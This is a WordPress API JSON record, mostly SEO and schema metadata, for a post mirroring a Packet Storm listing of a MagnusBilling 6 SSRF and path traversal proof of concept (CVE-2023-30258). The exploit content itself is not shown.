===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213297&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213297\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:33:56&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for MagnusBilling 6 vulnerabilities including server-side request forgery, path traversal, and cryptographic weaknesses&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213297&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-30258&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-32692","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32692\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:33:56&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for MagnusBilling 6 vulnerabilities including server-side request forgery, path traversal, and cryptographic weaknesses&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213297&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-30258&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32692\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-24T11:45:17+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32692#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32692\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \\\/ Path Traversal_PACKETSTORM:213297\",\"datePublished\":\"2025-12-24T11:45:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32692\"},\"wordCount\":2992,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32692#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32692\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32692\",\"name\":\"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \\\/ Path Traversal_PACKETSTORM:213297 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-24T11:45:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32692#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32692\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32692#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \\\/ Path Traversal_PACKETSTORM:213297\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32692","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:33:56&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for MagnusBilling 6 vulnerabilities including server-side request forgery, path traversal, and cryptographic weaknesses&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213297&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-30258&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...","og_url":"https:\/\/zero.redgem.net\/?p=32692","og_site_name":"zero redgem","article_published_time":"2025-12-24T11:45:17+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32692#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32692"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297","datePublished":"2025-12-24T11:45:17+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32692"},"wordCount":2992,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32692#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32692","url":"https:\/\/zero.redgem.net\/?p=32692","name":"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-24T11:45:17+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32692#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32692"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32692#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 MagnusBilling 6 Server-Side Request Forgery \/ Path Traversal_PACKETSTORM:213297"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32692","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32692"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32692\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32692"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32692"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32692"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}